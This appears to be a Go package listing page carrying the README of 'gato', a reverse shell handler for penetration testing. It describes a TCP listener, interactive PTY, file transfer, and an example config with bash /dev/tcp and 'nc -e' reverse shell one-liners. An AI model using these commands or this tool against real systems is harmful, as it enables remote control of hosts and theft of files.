gato

command module
v0.0.4 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Aug 7, 2026 License: MIT Imports: 2 Imported by: 0

README

Gato - Reverse Shell Handler

Gato is a reverse shell handler with interactive PTY support and file transfer capabilities.

Key Features

  • TCP Listener: Starts a listener on a specified host and port.
  • Interactive PTY Shell: Provides a fully interactive pseudo-terminal with raw mode support.
  • File Transfers: Upload (put) and download (get) files using secondary TCP connections.
  • Built-in Commands: During an active session, press Ctrl+Space to enter command mode and use get, put, help, or exit.
  • Flexible Configuration: Configure via TOML file or command-line flags.
  • Reverse Shell Helpers: List and select from multiple pre-defined reverse shell commands (e.g., bash, nc).

Quick Install

git clone https://github.com/0xMoonrise/gato
cd gato
go build -o gato cmd/gato/main.go

Or install directly using Go:

go install github.com/0xMoonrise/gato@latest

Basic Usage

# Listen on 0.0.0.0:4242 (default)
./gato

# Listen on a specific port
./gato 8080

# Listen on a specific IP and port
./gato 10.0.0.1 8080

# Use a specific interface to listen
./gato -p 8080 -i tun0

# List all available reverse shell helpers
./gato revers

Example Configuration config.toml

[listener]
host = "0.0.0.0"
port = "9001"

[interface]
name = "eth0"

[shell]
recipe = [
    "export SHELL=/bin/bash",
    "export TERM=xterm",
    "script -qc /bin/bash /dev/null"
]

[revers]
selected = 0
revers = [
    "bash -i >& /dev/tcp/%s/%s 0>&1",
    "nc -e /bin/sh %s %s"
]

[transfer]
timeout = 30
port_start = "0"

The configuration file is searched in the current directory, ~/.config/gato/, or /etc/gato/.

Shell Recipes

The recipe field under [shell] in config.toml is an array of commands that are executed sequentially right after a reverse shell connection is established. This allows you to prepare the shell environment before handing control to the user.

Session Commands

Press Ctrl+Space during an active session to enter command mode, then use:

  • get <remote_file>: Download a file from the remote host.
  • put <local_file>: Upload a file to the remote host.
  • help: Show available commands.
  • exit: Close the connection.

Press Ctrl+] to force quit the session at any time.

Documentation

The Go Gopher

There is no documentation for this package.

Directories

Path Synopsis
internal
cli
log

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL